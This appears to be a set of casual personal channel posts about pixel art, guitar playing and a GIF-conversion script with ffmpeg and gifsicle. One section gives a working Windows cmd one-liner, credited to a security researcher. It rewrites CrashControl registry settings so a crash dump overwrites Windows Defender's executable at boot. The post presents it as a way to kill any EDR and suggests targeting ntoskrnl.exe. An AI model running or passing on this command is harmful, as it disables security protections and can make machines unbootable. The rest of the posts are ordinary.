🖌 Drawing

I don't think I've said it publicly before, but I also enjoy drawing for fun. I'm a poor artist, but pixel art is my weakness, as much as long-haired girls are 😌

This is how she looks

The comments asked me to make the outline uniform, and that actually looks significantly better

🎵 Fade to Black

This one is super beautiful, I enjoy playing that a lot. The verse riff looks easy, but it's actually pretty challenging. The ending is the most difficult part.

🔥 Is your Defender a dump? Yes it is!

Security researcher sixtyvividtails uncovered a trick to destroy any EDR upon boot by overwriting it with a crash dump.

🔻 No system crash needed, only reboot.
🔻 Defender is just an example; works versus anything (try ntoskrnl.exe).
🔻 Dedicated dump is not the only bootside kill; at least 4 more distinct yet similar ways.

The code:

cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d 7 /t 4&!R! DumpFileSize /d 666 /t 4&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~29,-1!)"

I booted up my Windows XP laptop and got this???

😎 ezgif.cmd

Since Telegram has a wide variety of GIFs I want to share with my friends on Discord and they're stored as videos, I decided to automate the process of using ezgif. FFMPEG and Gifsicle are required, they also need to be in PATH.

The source code:

ffmpeg -i %1 -vf "fps=15,scale=512:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" output.gif && gifsicle -O3 --lossy=80 output.gif -o output.gif

A special treat for Linux fams:

#!/bin/sh

input="$1"
ffmpeg -i "$input" -vf "fps=15,scale=512:-1:flags=lanczos,split[s0][s1];[s0]palettegen[p];[s1][p]paletteuse" output.gif && gifsicle -O3 --lossy=80 output.gif -o output.gif

WTF???
